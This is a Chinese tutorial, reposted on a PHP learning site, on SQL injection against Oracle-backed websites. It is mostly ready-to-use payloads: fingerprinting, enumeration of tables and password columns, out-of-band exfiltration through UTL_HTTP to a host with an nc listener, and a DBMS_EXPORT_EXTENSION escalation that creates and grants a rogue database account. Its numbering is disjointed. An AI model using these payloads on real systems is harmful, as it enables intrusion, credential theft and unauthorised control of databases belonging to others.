来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] By LengF 2011-09-111.判断是否存在注入点的方法和其他数据库类似,and 1=1 和and 1=22.判断数据库为oracle提交注释字符/*,返回正常即是MySQL,否则继续提交注释符号--,该符号是Oracle和MsSQL支持...
By LengF 2011-09-11
1.判断是否存在注入点的方法和其他数据库类似,and 1=1 和and 1=2 and exist(select * from dual) 或 and (select count(*) from user_tables)>0--
利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from dual (3)获取数据库连接用户名 and 1=2 union select 1,2,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),4,5,6 from dual (4)获取日志文件的绝对路径,同样可以通过这个绝对判断系统类型 and 1=2 union select 1,2,(select instance_name from v$instance),4,5,6 from dual
4.和Mysql>=5.0和MsSQL>=2005的特性利用 and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from dual # 依次爆出所有数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
(2)爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。 and (select column_name from user_tab_columns where column_name like '%25pass%25')>0 如果成功也可以继续提交 and 1=2 union select 1,2,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5,6 from dual
这也是猜解表名的一种方法,不过比上面方法麻烦。 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual # 爆出第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 这样就可以爆出所有的字段名了。
这样就可以和普通的注入一样获取字段内容了,就不多说了。 and 1=2 union select 'null',null,null,null,null,null from dual
如此依次将下面的每个null用单引号替换,查看返回页面,返回正常说明那个字段为字符型。确定所有字段类型后就可以注入了, 是字符型的就用‘null’,数字型的就直接null and exist(select count(*) from all_objects where object_name='UTL_HTTP') # 第一步,本地用nc监听一个端口 nc -vv -l -p 8989 # 注入点执行 and utl_http.request('http:// www.2cto.com :port'||(SQL Query))=1 # 举个例子 and utl_http.request('http:// www.2cto.com :port'||(select banner from sys.v_$version where rownum=1))=1--
在NC端就会接收到SQL执行返回的结果。这个有点麻烦,因为每次注入点提交一次请求有nc会断开连接,需要重新启动。 SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[Attack-Command]END;--',SYS',0,'1',0)
将其中的Attack-Command替换成对应的命令即可,但是需要说明的是该利用方法必须结合上面的UTL_HTTP存储过程。 and '1'<>'2'||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' Create USER LengF IDENTIFIED BY LengF '' '';END;--',SYS',0,'1',0) from dual) 确定帐号是否添加成功: and 1<>(select user_id from all_users where username='lengf') 赋予帐户远程连接权限: and '1'<>'2'||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' GRANT CONNECT to LengF '' '';END;--',SYS',0,'1',0) from dual 删除帐号: and '1'<>'2'||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' drop USER LengF '' '';END;--',SYS',0,'1',0) from dual
(6)命令执行 !command CMD
当然除了这个方法执行命令外还可以通过导入导出表执行命令,比较麻烦感兴趣可以自己查。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com